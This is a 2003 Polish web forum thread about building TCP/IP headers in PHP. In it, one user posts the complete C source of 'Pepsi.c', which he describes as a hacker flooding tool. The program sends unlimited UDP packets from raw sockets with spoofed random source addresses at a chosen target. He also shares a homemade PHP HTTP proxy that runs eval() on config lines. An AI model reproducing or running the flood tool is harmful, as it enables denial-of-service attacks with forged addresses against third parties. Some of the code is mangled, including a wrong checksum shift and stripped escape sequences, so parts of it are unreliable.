tajga
17.06.2003, 12:41:01
Jak zbudować nagłówek tcp/ip w php? Wiem jak to zrobić w C, ale chciałbym to w php.
dragossani
18.06.2003, 13:23:44
Jakieś szczegóły? php to trochę inny poziom warstwy komunikacyjnej. W jakim celu chcesz budować nagłówek TCP/IP w php?
tajga
18.06.2003, 14:13:36
Buduję server proxy, potrzebuję zamaskować adres IP.
dragossani
18.06.2003, 14:57:16
Piszesz serwer proxy w php? Jesteś pewien, że to dobry pomysł?
tajga
18.06.2003, 15:36:18
dlaczego, działa całkiem sprawnie.
dragossani
18.06.2003, 16:26:21
Kod jest opensource? Mógłbyś podać jakiś namiar gdzie można obejrzeć źródła?
Widzę, że nikt poza mną nie zainteresował się na razie twoim pytaniem. To dość dziwne, bo to ciekawy temat.
Skoro wiesz jak zbudować nagłówek w C to kod w php sprowadza się do przetłumaczenia tego co już masz. Udostępnij fragment kodu w C - będzie można się do niego odnieść.
Jabol
18.06.2003, 16:38:01
hehe, racja dragossani. Zresztą temat serwerów w php sam już poruszałem. Również chciałbym coś takiego zobaczyć. Aha, i jestem ciekawy w jaki sposób odczytujesz dane przekazane przez użytkownika i jak na nie odpowiadasz (readline, print, czy jak??), bo ten problem mnie już dawno męczy.
tajga
18.06.2003, 16:43:14
server komunikuje się na jakimś porcie, po prostu czytac z okreslonego portu, aby dowiedzieć się jaki jest IP klienta wystarczy wywołać funkcję
socket_getpeername($clisock, $IP);
w zmiennej $IP jest adres klienta.
Mnie osobiście interesuje budowanie nagłówków tcp/ip.
tajga
18.06.2003, 16:51:51
W C wygląda to tak że są odpowiednie struktury danych nagłówków IP, TCP. Poprostu wypełnia się je i wysyła. Struktury te są zdefiniowanie w plikach
<netinet/ip.h>
<netinet/tcp.h>
<arpa/inet.h>
<netinet/udp.h>
zamieszczam przykładowy program w C wykorzystujacy budowę nagłówków. Program nazywa się PEPSI i jest popularnym programem do przeciążąnia systemów tzn "flooding", używany przez hakerów.
Kod
#define FRIEND "My christmas present to the Internet -Soldier"
#define VERSION "Pepsi.c v1.7"
#define DSTPORT 7
#define SRCPORT 19
#define PSIZE 1024
#define DWAIT 1
/*
* Inkludy
*/
#include <fcntl.h>
#include <syslog.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netconfig.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netinet/udp.h>
#include <string.h>
#include <pwd.h>
/*
* Baner.
*/
void banner()
{
printf( "ttt%s Author - Soldier n", VERSION );
printf( "ttt [10.27.97] nn" );
printf( "This Copy Register to: %snn", FRIEND );
}
/*
* Deklaracje opcji.
*/
struct sockaddr_in dstaddr;
unsigned long dst;
struct udphdr *udp;
struct ip *ip;
char *target;
char *srchost;
int dstport = 0;
int srcport = 0;
int numpacks = 0;
int psize = 0;
int wait = 0;
void usage(char *pname)
{
printf( "Usage:n " );
printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>nn", pname );
printf( "t-s <src> : source where packets are coming fromn" );
printf( "t-n <num> : number of UDP packets to sendn" );
printf( "t-p <size> : Packet size [Default is 1024]n" );
printf( "t-d <port> : Destination port [Default is %.2d]n",
DSTPORT );
printf( "t-o <port> : Source port [Default is %.2d]n",
SRCPORT );
printf( "t-w <time> : Wait time between pkts [Default is 1]n" );
printf( "t<dest> : Destinationn" );
printf( "n" );
exit(EXIT_SUCCESS);
}
/*
* Kod sumy kontrolnej, original by Soldier.
*/
unsigned short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1 )
{
sum += *w++;
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
void main(int argc, char *argv[])
{
int sen;
int i;
int unlim = 0;
int sec_check;
int opt;
char *packet;
struct hostent *host = NULL;
unsigned long a;
/*
* Rozpoczynamy od banera.
*/
banner();
/*
* Opcje debugowania.
*/
openlog( "PEPSI", 0, LOG_LOCAL5 );
if (argc < 2)
usage(argv[0]);
while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF)
{
switch(opt)
{
case 's':
srchost = (char *)malloc(strlen(optarg) + 1);
strcpy(srchost, optarg);
break;
case 'd':
dstport = atoi(optarg);
break;
case 'n':
numpacks = atoi(optarg);
break;
case 'p':
psize = atoi(optarg);
break;
case 'w':
wait = atoi(optarg);
break;
case 'o':
srcport = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
if (!dstport)
{
dstport = DSTPORT;
}
if (!srcport)
{
srcport = SRCPORT;
}
if (!psize)
{
psize = PSIZE;
}
if (!argv[optind])
{
puts( "[*] Specify a target host, doof!" );
exit(EXIT_FAILURE);
}
target = (char *)malloc(strlen(argv[optind]));
if (!target)
{
puts( "[*] Agh! Out of memory!" );
perror( "malloc" );
exit(EXIT_FAILURE);
}
strcpy(target, argv[optind]);
}
memset(&dstaddr, 0, sizeof(struct sockaddr_in));
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = inet_addr(target);
if (dstaddr.sin_addr.s_addr == -1)
{
host = gethostbyname(target);
if (host == NULL)
{
printf( "[*] Unable to resolve %stn", target );
exit(EXIT_FAILURE);
}
dstaddr.sin_family = host->h_addrtype;
memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);
}
memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);
printf( "# Target Host : %sn", target );
printf( "# Source Host : %sn",
(srchost && *srchost) ? srchost : "Random" );
if (!numpacks)
printf( "# Number : Unlimitedn" );
else
printf( "# Number : %dn", numpacks );
printf( "# Packet Size : %dn", psize );
printf( "# Wait Time : %dn", wait );
printf( "# Dest Port : %dn", dstport );
printf( "# Source Port : %dn", srcport );
/*
* Otwarcie gniazda.
*/
sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) +
psize);
ip = (struct ip *)packet;
udp = (struct udphdr *)(packet + sizeof(struct ip));
memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize);
if (!numpacks)
{
unlim++;
numpacks++;
}
if (srchost && *srchost)
{
if (!(host = gethostbyname(srchost)))
{
printf( "[*] Unable to resolve %stn", srchost );
syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost );
exit(EXIT_FAILURE);
}
else
{
ip->ip_src.s_addr = ((unsigned long)host->h_addr);
syslog( LOG_NOTICE, "IP source is [%s]", host->h_name );
}
}
ip->ip_dst.s_addr = dst;
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_ttl = 255;
ip->ip_p = IPPROTO_UDP;
ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize);
ip->ip_sum = in_cksum(ip, sizeof(struct ip));
udp->uh_sport = htons(srcport);
udp->uh_dport = htons(dstport);
udp->uh_ulen = htons(sizeof(struct udphdr) + psize);
for (i=0; i<numpacks; (unlim) ? i++, i-- : i++)
{
if (!srchost)
{
ip->ip_src.s_addr = ((unsigned long)rand());
syslog( LOG_NOTICE, "IP source set randomly." );
}
if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) +
psize, 0, (struct sockaddr *)&dstaddr,
sizeof(struct sockaddr_in)) == (-1))
{
puts( "[*] Error sending packet." );
perror( "Sendpacket" );
exit(EXIT_FAILURE);
}
usleep(wait);
}
syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target );
}
Jabol
18.06.2003, 17:02:01
Mógłbyś tutaj umieścić sourcy tego proxy, tak z czystej ciekawości.
Co do twojego projektu zawsze można napisać własne rozszerzenie php (w c oczywiście

).
tajga
18.06.2003, 17:07:58
fakt o tym nie pomyślałem. Dzięki.
kod proxy kożysta z trzech plików
1.) czyta konfiguracje
2.) obsługuje wątki (niestsety tylko pod linuxem)
3.) właściwy proxy
w takiej kolejności zamieszczam pliki:
[php:1:c66766329c]<?php
<?
class ReadConfFile
{
var $file;
var $var_conf;
function ReadConfFile($name_file)
{
$this->file = $name_file;
$this->var_conf = array();
}
function read_Config()
{
$fp = fopen($this->file, 'r');
if($fp){
while(!feof($fp)) {
$conf = trim(fgets($fp, 255));
if(substr($conf,0,1) != "#") {
array_push($this->var_conf, $conf);
};
};
fclose($fp);
} else {
exit();
};
print date("Y-m-d H:i:s")." CONFIG FILE READn";
foreach($this->var_conf as $var){
print $var."n";
};
}
function get_Acces($address, $ip)
{
$ACCESS = -1;
foreach($this->var_conf as $config)
eval($config);
$H = date('H:i');
$CHD = strtolower(date('l'));
$D = explode(",", $DAYES);
$HOST = explode(",", $HOST);
$IP = explode(",", $IP);
if(array_search($CHD, $D) > -1)
{
$ACCESS = 0;
} else {
if($HOUR_FROM > $H or $HOUR_TO < $H)
$ACCESS = 0;
};
if(array_search($address, $HOST) != FALSE || array_search($address, $HOST) > -1) {
$ACCESS = 0;
};
if(array_search($ip, $IP) != FALSE || array_search($ip, $IP) > -1) {
$ACCESS = 0;
};
return $ACCESS;
}
};
?>
?>[/php:1:c66766329c]
[php:1:c66766329c]<?php
<?
class Thread
{
var $uid;
var $gid;
var $pid;
function Thread()
{
pcntl_signal(SIGCHLD, array($this,"sig_handler"));
pcntl_signal(SIGTERM, array($this,"sig_handler"));
pcntl_signal(SIGINT, array($this,"sig_handler"));
$this->uid = 99;
$this->gid = 99;
}
function sig_handler($signo)
{
switch($signo)
{
case SIGTERM:
exit;
break;// handle shutdown tasks
case SIGHUP:
break;// handle restart tasks
case SIGUSR1:
print "Caught SIGUSR1...n"; break;
case SIGCHLD:
while( pcntl_waitpid(-1,$status,WNOHANG) > 0 ) {};
break;
case SIGINT:
exit;
default:
/* not implemented yet...*/
break;
};
}
function start_thread($object, $handler, $time, $arg=array())
{
$CH_PID = pcntl_fork();
if($CH_PID == -1)
{
//not child
}
elseif ($CH_PID == 0)
{
//parent
}
else
{
if(!posix_setsid())
exit;
set_time_limit($time);
$this->pid = posix_getpid();
$this->change_identity();
call_user_func(array($object,$handler),$arg);
exit;
};
exit();
}
function change_identity()
{
if(!posix_setgid($this->gid)) {
print "Unable to setgid to $gid!n";
exit;
}
if(!posix_setuid($this->uid)) {
print "Unable to setuid to $uid!n";
exit;
};
}
};
?>
?>[/php:1:c66766329c]
[php:1:c66766329c]<?php
#!/usr/local/bin/php
<?
require("c_Thread.php");
require("c_ReadConfFile.php");
class proxy_HTTP
{
var $SERVER_SOCK;
var $LOG;
function proxy_HTTP()
{
$this->LOG = 1;
if(!extension_loaded('sockets'))
dl('php_sockets');
set_time_limit(0);
ob_implicit_flush();
$port = 9000;
$address = "192.168.254.51";
$this->SERVER_SOCK = socket_create(AF_INET, SOCK_STREAM, 0);
socket_set_option($this->SERVER_SOCK, SOL_SOCKET, SO_REUSEADDR, 1);
socket_bind($this->SERVER_SOCK, $address, $port);
socket_listen($this->SERVER_SOCK, 10);
$this->start();
}
function start()
{
$CONFIG = new ReadConfFile("conf");
$CONFIG->read_Config();
do {
if(!$this->SERVER_SOCK)
$this->proxy_HTTP();
if(($clisock = socket_accept($this->SERVER_SOCK)) > 0)
{
$BUF = socket_read($clisock, 2048);
/*
$fs = fopen("url.dat","w");
fputs($fs,$BUF);
fclose($fs);
break;
*/
if(trim($BUF) == "kill") {
socket_close($this->SERVER_SOCK);
break ;
};
eregi("HOST:.*",$BUF,$o);
$BUFF = substr($o[0],5);
$pos = strpos($BUFF,"r");
$address = trim(substr($BUFF,0,$pos));
$address = trim(str_replace("www.","",$address));
socket_getpeername($clisock, $client_ip);
$ACCESS = $CONFIG->get_Acces($address, $client_ip);
if( $ACCESS > -1)
{
$thread = new Thread();
$param[0] = $clisock;
$param[1] = $BUF;
$thread->start_thread($this,'get_connect',20,$param);
unset($thread);
}
else
{
$BUF2 = $this->info();
socket_write($clisock, $BUF2, strlen($BUF2));
socket_close($clisock);
};
}
else
{
break;
};
} while (TRUE);
socket_close($this->SERVER_SOCK);
}
function get_connect($arg)
{
$clisock = $arg[0];
$BUF = $arg[1];
eregi("HOST:.*",$BUF,$o);
$BUFF = substr($o[0],5);
$pos = strpos($BUFF,"r");
$address = trim(substr($BUFF,0,$pos));
if($this->LOG){
socket_getpeername($clisock, $IP);
$arg[0] = $IP;
$arg[1] = $address;
$arg[2] = "GET";
$arg[3] = strlen($BUF);
$this->log($arg);
};
//if(eregi("CONNECT",$BUF)) {
//$BUF = eregi_replace("https://$address","",$BUF);
// $port = 443;
//} else {
$BUF = str_replace("http://$address","",$BUF);
$port = 80;
//};
$fps = fsockopen(gethostbyname($address), $port, $errno, $errstr, 15);
//$socket = socket_create(AF_INET, SOCK_STREAM, 0);
//$stat = @socket_connect($socket, $address, $port);
if($fps)
{
$BUF.="rnrn";
$how_write = strlen($BUF);
//$ok = socket_write($socket, $BUF, $how_write);
fputs($fps, $BUF, $how_write);
//if($ok == $how_write) {
$buffer="";
$how_write=0;
while(!feof($fps))//$BUF = socket_read($socket, 2048)
{
//$how_write+= strlen($BUF);
$buffer.= fgets($fps,255);//$BUF;
$how_write+= strlen($buffer);
};
socket_write($clisock, $buffer, $how_write);
//};
//socket_close($socket);
fclose($fps);
}
else
{
$BUF = $this->info(1);
socket_write($clisock, $BUF, strlen($BUF));
};
socket_close($clisock);
exit();
}
function info($typ=0)
{
switch($typ) {
case 0 : $f = fopen('proxy_ERR/index.html','r'); break;
case 1 : $f = fopen('proxy_ERR/err.html','r'); break;
};
while(!feof($f))
$dat.= fgets($f, 255);
fclose($f);
$data= "HTTP/1.1 200 OKrnPragma: no-cachernCache-Control: no-cachernContent-Type: text/htmlrnContent-Length: ".strlen($dat)."rnConnection: closern";
return $data.$dat;
}
function log($arg)
{
$log = date("Y-m-d H:i:s"). " - IP: ".$arg[0]." OPTION: ".$arg[2]." HOST: ".$arg[1]." SIZE: ".$arg[3]."n";
$f = fopen("proxy_log","a");
fputs($f, $log);
fclose($f);
}
};
new proxy_HTTP;
?>
?>[/php:1:c66766329c]
?>[/php]
tajga
18.06.2003, 17:08:52
sorry za błędy ortograficzne
tajga
18.06.2003, 17:20:29
Ze skryptu można korzystać. Mam tylko jedną prośbę gdy ktokolwiek zmodyfikował, lub dodał coś interesującego to bardzo bym prosił o informację na tem temat.
e-mail : marcin@jazztranslation.com
tajga
30.06.2003, 07:28:39
do sprawnego dzialania trzeba dodać wywołanie funkcji [php:1:7a2f32c30e]<?php
posix_kill($pid,SIGCHLD);
?>[/php:1:7a2f32c30e] na końcu wywołanej funkcji w sekcji THREAD.
[Regis]
30.06.2003, 08:17:05
O kurka... niezle - w zyciu bym sie nie spodziewal, ze ktos bedzie cos takiego pisal

Zagadnienie ciekawe w sumie...
squid
5.07.2003, 11:43:31
Nigdy nie uzywalem TCP/IP bezposrednio w php ale uzywalem HTTP i to w tym protokole wyglada tak:
[php:1:d0ecec1634]<?php
$adres="www.google.pl";
$page_adres="/search/index.html";
$port=80;
$time_limit=30;
set_time_limit($time_limit);
if(!extension_loaded('sockets')) dl("php_sockets.dll");// .so jak po unixem
$like_file_open=fsockopen($adres, $port, $errorno, $error, $time_limit);
if($like_file_open) {
fputs($like_file_open, "HEAD " . $page_adres . " HTTP/1.0rnrn");
while(!feof($like_file_open)) $data[]=fgets($like_file_open, 1000);
fclose($like_file_open);
}
else {
echo "<br>Błąd: " . $errorno . "<br>". $error;
}
reset($data);
while(list($k , $v)=each($data)) echo "<br>Klucz: ".$k." <br>Wartosc: " . $v;
// i tak dalej wszystko tak jak dla pliku do odczytu i zapisu
?>[/php:1:d0ecec1634]
moze TCP/IP robi sie analogicznie podajesz rodzaj i wersje protokolu dlaej robisz co chcesz, co prawda zupelnie nie wiem jak wygladaja naglowki w TCP/IP ale moze cos to komus pomoze

...
squid
5.07.2003, 11:55:30
Cytat
[php:1:324d066f03]
if(!extension_loaded('sockets'))
[/php:1:324d066f03]
czy przy dynamicznym ladowaniu rozszerzen nie trza podawac rozszerzenia biblioteki .so/.dll

? uswiadomcie mnie
squid
5.07.2003, 11:56:29
naczy chodzi mi o funkcje dl() a nie extension_loaded()
tajga
5.09.2003, 16:16:12
możesz pisać dla dl sama nazwę bez rozszerzen
noose
12.09.2003, 12:27:31
tajga: takie moze to troche glupie.... mozesz podac nazwy dla tych plikow :?: bo jakos sie nie dopatrzylem
tajga
12.09.2003, 12:31:08
A poco ci nazwy tych plików, nazwij je jak chcesz, ale pierwszy nazywa sie "proxy.php", a drugi c_Thrads.php
noose
12.09.2003, 12:35:26
dzieki. myslalem, ze to ma jakies znaczenie.....
noose
12.09.2003, 12:45:24
to Twoje? tak.... ale cos nie chodzi :?
Cytat
Warning: dl() [function.dl]: Not supported in multithreaded Web servers - use extension statements in your php.ini in c:usrkrasnalwwwproxyproxy.php on line 14
Fatal error: Call to undefined function: socket_create() in c:usrkrasnalwwwproxyproxy.php on line 19
tajga
12.09.2003, 12:51:49
dwie sprawy:
1.) skrypt nie może działać z serwerem APACHE, lub innym
2.) Aby działał w trybie wielowątkowym musi być uruchomiony w systemach typu V czy UNIX, LINUX.
noose
12.09.2003, 12:56:14
to z jakim serwerem ma dzialac :?:
tajga
12.09.2003, 13:01:59
z żadnym, ma działać sam, jak masz pytania to wal :
GG: 1983358